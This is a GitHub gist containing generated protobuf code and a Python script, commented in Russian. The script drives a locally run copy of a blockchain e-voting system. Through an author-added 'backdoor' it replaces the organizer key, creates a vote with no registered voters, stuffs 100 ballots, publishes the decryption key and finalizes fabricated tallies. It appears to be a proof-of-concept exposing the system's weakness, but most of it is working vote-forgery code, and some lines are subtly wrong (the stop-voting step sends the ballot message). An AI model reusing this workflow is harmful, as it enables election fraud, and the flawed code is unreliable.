Skip to content

Instantly share code, notes, and snippets.

@PeterZhizhin
Last active October 22, 2021 11:41
Show Gist options
  • Save PeterZhizhin/97e93c460f08a91e7162db67cd91c558 to your computer and use it in GitHub Desktop.
Save PeterZhizhin/97e93c460f08a91e7162db67cd91c558 to your computer and use it in GitHub Desktop.
# -*- coding: utf-8 -*-
# Generated by the protocol buffer compiler. DO NOT EDIT!
# source: choices.proto
"""Generated protocol buffer code."""
from google.protobuf import descriptor as _descriptor
from google.protobuf import message as _message
from google.protobuf import reflection as _reflection
from google.protobuf import symbol_database as _symbol_database
# @@protoc_insertion_point(imports)
_sym_db = _symbol_database.Default()
DESCRIPTOR = _descriptor.FileDescriptor(
name='choices.proto',
package='',
syntax='proto3',
serialized_options=None,
create_key=_descriptor._internal_create_key,
serialized_pb=b'\n\rchoices.proto\"\x17\n\x07\x43hoices\x12\x0c\n\x04\x64\x61ta\x18\x01 \x03(\rb\x06proto3'
)
_CHOICES = _descriptor.Descriptor(
name='Choices',
full_name='Choices',
filename=None,
file=DESCRIPTOR,
containing_type=None,
create_key=_descriptor._internal_create_key,
fields=[
_descriptor.FieldDescriptor(
name='data', full_name='Choices.data', index=0,
number=1, type=13, cpp_type=3, label=3,
has_default_value=False, default_value=[],
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
],
extensions=[
],
nested_types=[],
enum_types=[
],
serialized_options=None,
is_extendable=False,
syntax='proto3',
extension_ranges=[],
oneofs=[
],
serialized_start=17,
serialized_end=40,
)
DESCRIPTOR.message_types_by_name['Choices'] = _CHOICES
_sym_db.RegisterFileDescriptor(DESCRIPTOR)
Choices = _reflection.GeneratedProtocolMessageType('Choices', (_message.Message,), {
'DESCRIPTOR' : _CHOICES,
'__module__' : 'choices_pb2'
# @@protoc_insertion_point(class_scope:Choices)
})
_sym_db.RegisterMessage(Choices)
# @@protoc_insertion_point(module_scope)
"""
Нужна ветка с моим "бэкдором" для замены ключа организатора голосования. Я никак не разобрался, как установить ключ в конфиге блокчейна.
Вот эта ветка у меня в репозитории: https://github.com/PeterZhizhin/blockchain-voting_2021_extracted/tree/add_change_api_key_backdoor
Принципиально это ничего не меняет. Тот же ключ как-то можно задать и в конфиге, но я не разобрался как.
Я пробовал следующее:
1. Прописать в node.toml следующие строки. Не помогло.
[services_configs.votings_service]
public_api_keys=["0bc1ee47e737e2884e035e3ebf6d5c2516667d5336a6e5af4f1e1c3c1b4f92c4"]
2. Пробовал воспользоваться утилитой exonum_launcher по вот этой инструкции из примеров Exonum: https://github.com/exonum/exonum/tree/master/examples/timestamping
exonum_launcher падает с ошибкой, так как не может найти файл service.proto, он действительно отсутствует в исходниках.
3. Пробовал спросить в канале Exonum в Gitter, как это настроить, никто не ответил.
В итоге сдался и оставил мой добавленный "бэкдор". Идейно ничего не меняется.
Если кто-то знает, как настроить блокчейн правильно, чтобы отказаться от этого -- пишите (контакты в профиле).
Исходный код, который подтягивает публичный ключ из конфигурации: https://github.com/PeterZhizhin/blockchain-voting_2021_extracted/blob/main/blockchain/dit-blockchain-source/services/votings-service/src/service.rs#L67-L75
Для запуска нужно поднять блокчейн. Для этого в папке blockchain\dit-blockchain-source запускаем следующую команду:
cargo run run-dev --blockchain-path dev_mode_config --clean
Это запустит блокчейн в dev режиме.
Можно и в боевом режиме запустить, можете посмореть вот эту инструкцию по настройке из примеров Exonum: https://github.com/exonum/exonum/tree/master/examples/cryptocurrency-advanced
В dev режиме проще всего, одной командой. Но можно и в боевом то же самое сделать.
За ходом голосования можно следить через API, он 1 в 1 как у "ноды наблюдателя" на настоящем голосовании, там те же методы.
Методы указаны тут: https://github.com/PeterZhizhin/blockchain-voting_2021_extracted/blob/main/blockchain/dit-blockchain-source/services/votings-service/src/api/mod.rs#L42
По итогу в консоли ноды блокчейна будет написано примерно следующее:
Voting created with ID 57f885e2591bacecabc233150d43d89fd8c07ef95b00b5b6394ad7c83c5f338a
Registration finished for voting 57f885e2591bacecabc233150d43d89fd8c07ef95b00b5b6394ad7c83c5f338a, voting in process
Voter key 1215ce23... added for voting 57f885e2591bacecabc233150d43d89fd8c07ef95b00b5b6394ad7c83c5f338a
Ballot stored for voting 57f885e2591bacecabc233150d43d89fd8c07ef95b00b5b6394ad7c83c5f338a, district 198
Voter key f2cf6086... added for voting 57f885e2591bacecabc233150d43d89fd8c07ef95b00b5b6394ad7c83c5f338a
Ballot stored for voting 57f885e2591bacecabc233150d43d89fd8c07ef95b00b5b6394ad7c83c5f338a, district 198
...
Voting 57f885e2591bacecabc233150d43d89fd8c07ef95b00b5b6394ad7c83c5f338a was stopped
Decryption key: 54e3cf70f712b2ff727bde3849772fa811a9d5de796aa7d788d205aa86af04ad
Decryption key published for voting 57f885e2591bacecabc233150d43d89fd8c07ef95b00b5b6394ad7c83c5f338a
Ballot for voting 57f885e2591bacecabc233150d43d89fd8c07ef95b00b5b6394ad7c83c5f338a with index 0 was decrypted
Ballot for voting 57f885e2591bacecabc233150d43d89fd8c07ef95b00b5b6394ad7c83c5f338a with index 1 was decrypted
...
Voting 57f885e2591bacecabc233150d43d89fd8c07ef95b00b5b6394ad7c83c5f338a was finalized
"""
from exonum_client import ExonumClient, ModuleManager, MessageGenerator, ExonumMessage
from exonum_client.crypto import KeyPair
import choices_pb2
from nacl.public import PrivateKey, PublicKey, Box
import nacl.utils
import pprint
import time
MAX_U32_VALUE = 4294967295
PB_MAX_U32_BYTES = 5
MARKER_BYTES_LENGTH = 1
# Количество голосов, которые вбрасываем
BALLOTS_COUNT = 100
def change_public_api_key(transactions_module, api_keys):
change_api_key = transactions_module.TxChangePublicApiKey()
change_api_key.service_config.api_public_keys.append(api_keys.public_key.hex())
change_api_key_tx = ExonumMessage(instance_id=1001, message_id=12, msg=change_api_key)
change_api_key_tx.sign(api_keys)
response_change_key = client.public_api.send_transaction(change_api_key_tx)
return response_change_key
def create_choice_buffer(raw_choices, min_choices=1, max_choices=1):
choices = choices_pb2.Choices()
for raw_choice in raw_choices:
choices.data.append(raw_choice)
buffer = choices.SerializeToString()
lengthBytesAmount = 1;
for buffer_i in buffer[1:]:
if buffer_i >> 7 == 0:
break
lengthBytesAmount += 1
serviceBytesLength = MARKER_BYTES_LENGTH + lengthBytesAmount;
maxBufferSize = max_choices * PB_MAX_U32_BYTES + serviceBytesLength;
zerosAmount = maxBufferSize - len(buffer);
leadingZeros = b'\0' * zerosAmount;
leadingLengthBytes = zerosAmount.to_bytes(2, byteorder='big')
result_buffer = leadingLengthBytes + leadingZeros + buffer
return result_buffer
def create_encrypted_choice(choice, voting_public_key, min_choices=1, max_choices=1):
nonce = nacl.utils.random(Box.NONCE_SIZE)
private_key = PrivateKey.generate()
box = Box(private_key, voting_public_key)
message = box.encrypt(create_choice_buffer(choice, min_choices=min_choices, max_choices=max_choices), nonce)
return {
'encrypted_message': message[Box.NONCE_SIZE:].hex(),
'public_key': private_key.public_key.encode().hex(),
'nonce': nonce.hex(),
}
client = ExonumClient(hostname="localhost", public_api_port=8080, private_api_port=8081, ssl=False)
api_keys = KeyPair.generate()
voting_private_key = PrivateKey(bytes.fromhex('54e3cf70f712b2ff727bde3849772fa811a9d5de796aa7d788d205aa86af04ad'))
with client.protobuf_loader() as loader:
loader.load_main_proto_files() # Load and compile main proto files, such as `runtime.proto`, `consensus.proto`, etc.
cryptocurrency_artifact_name = "dit-votings-service"
cryptocurrency_artifact_version = "1.0.0"
loader.load_service_proto_files(
runtime_id=0,
artifact_name=cryptocurrency_artifact_name,
artifact_version=cryptocurrency_artifact_version
)
transactions_module = ModuleManager.import_service_module(
cryptocurrency_artifact_name, cryptocurrency_artifact_version, "transactions"
)
print('Changing API key through a backdoor')
change_api_key_response = change_public_api_key(transactions_module, api_keys)
create_voting_tx = transactions_module.TxCreateVoting()
ballots_config = transactions_module.TxBallotConfig()
ballots_config.district_id = 198
ballots_config.question = "Question 198"
ballots_config.min_choices = 1
ballots_config.min_choices = 1
ballots_config.options[111906259] = 'Vasya'
ballots_config.options[111906260] = 'Petya'
create_voting_tx.crypto_system.public_key.data = voting_private_key.public_key.encode()
create_voting_tx.ballots_config.append(ballots_config)
create_voting_tx_tx = ExonumMessage(instance_id=1001, message_id=0, msg=create_voting_tx)
create_voting_tx_tx.sign(api_keys)
print('Creating vote')
create_voting_response = client.public_api.send_transaction(create_voting_tx_tx)
voting_id = create_voting_response.json()['tx_hash']
stop_registration = transactions_module.TxStopRegistration()
stop_registration.voting_id = voting_id
stop_registration_tx = ExonumMessage(instance_id=1001, message_id=2, msg=stop_registration)
stop_registration_tx.sign(api_keys)
print('Stopping registration with 0 registered voters')
stop_registration_response = client.public_api.send_transaction(stop_registration_tx)
for i in range(BALLOTS_COUNT):
current_voter = KeyPair.generate()
add_voter_key = transactions_module.TxAddVoterKey()
add_voter_key.voting_id = voting_id
add_voter_key.voter_key.data = current_voter.public_key.value
add_voter_key_tx = ExonumMessage(instance_id=1001, message_id=5, msg=add_voter_key)
add_voter_key_tx.sign(api_keys)
print('Adding a single voter with the following public key: {}'.format(current_voter.public_key.hex()))
add_voter_key_response = client.public_api.send_transaction(add_voter_key_tx)
store_ballot = transactions_module.TxStoreBallot()
store_ballot.voting_id = voting_id
store_ballot.district_id = 198
print('Creating an encrypted vote for candidate: 111906259 (Vasya)')
choice = create_encrypted_choice([111906259], voting_private_key.public_key)
store_ballot.encrypted_choice.nonce.data = bytes.fromhex(choice['nonce'])
store_ballot.encrypted_choice.public_key.data = bytes.fromhex(choice['public_key'])
store_ballot.encrypted_choice.encrypted_message = bytes.fromhex(choice['encrypted_message'])
store_ballot_tx = ExonumMessage(instance_id=1001, message_id=6, msg=store_ballot)
store_ballot_tx.sign(current_voter)
print('Storing the encrypted vote. Notice that we didn\'t issue a single ballot.')
store_ballot_response = client.public_api.send_transaction(store_ballot_tx)
stop_voting = transactions_module.TxStopVoting()
stop_voting.voting_id = voting_id
stop_voting_tx = ExonumMessage(instance_id=1001, message_id=7, msg=store_ballot)
stop_voting_tx.sign(api_keys)
print('Stopping voting')
stop_voting_response = client.public_api.send_transaction(stop_voting_tx)
pub_decr_key = transactions_module.TxPublishDecryptionKey()
pub_decr_key.voting_id = voting_id
pub_decr_key.private_key.data = voting_private_key.encode()
pub_decr_key_tx = ExonumMessage(instance_id=1001, message_id=8, msg=pub_decr_key)
pub_decr_key_tx.sign(api_keys)
print('Publishing the decryption key')
pub_decr_key_response = client.public_api.send_transaction(pub_decr_key_tx)
for i in range(BALLOTS_COUNT):
decr_ballot = transactions_module.TxDecryptBallot()
decr_ballot.voting_id = voting_id
decr_ballot.ballot_index = i
decr_ballot_tx = ExonumMessage(instance_id=1001, message_id=9, msg=decr_ballot)
decr_ballot_tx.sign(api_keys)
print('Decrypting encrypted vote number: {}'.format(i))
decr_ballot_response = client.public_api.send_transaction(decr_ballot_tx)
finalize_voting_with_results = transactions_module.TxFinalizeVotingWithResults()
district_results = transactions_module.TxDistrictResults()
district_results.district_id = 198
district_results.tally[111906259] = 0
district_results.tally[111906260] = 146000000
district_results.invalid_ballots_amount = 0
district_results.unique_valid_ballots_amount = 0
finalize_voting_with_results.voting_id = voting_id
finalize_voting_with_results.results.invalid_ballots_amount = 0
finalize_voting_with_results.results.unique_valid_ballots_amount = 0
finalize_voting_with_results.results.district_results[198].CopyFrom(district_results)
finalize_voting_with_results_tx = ExonumMessage(instance_id=1001, message_id=11, msg=finalize_voting_with_results)
finalize_voting_with_results_tx.sign(api_keys)
print('Finalize voting with the following results: {}'.format(finalize_voting_with_results))
finalize_voting_with_results_response = client.public_api.send_transaction(finalize_voting_with_results_tx)
print('Wait for all results to become available in the API.')
time.sleep(2)
print('Кандидаты')
pprint.pprint(client.public_api.get('http://127.0.0.1:8080/api/services/votings_service/v1/ballots-config?voting_id={}'.format(voting_id)).json())
print('Результаты голосования')
pprint.pprint(client.public_api.get('http://127.0.0.1:8080/api/services/votings_service/v1/voting-results?voting_id={}'.format(voting_id)).json())
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment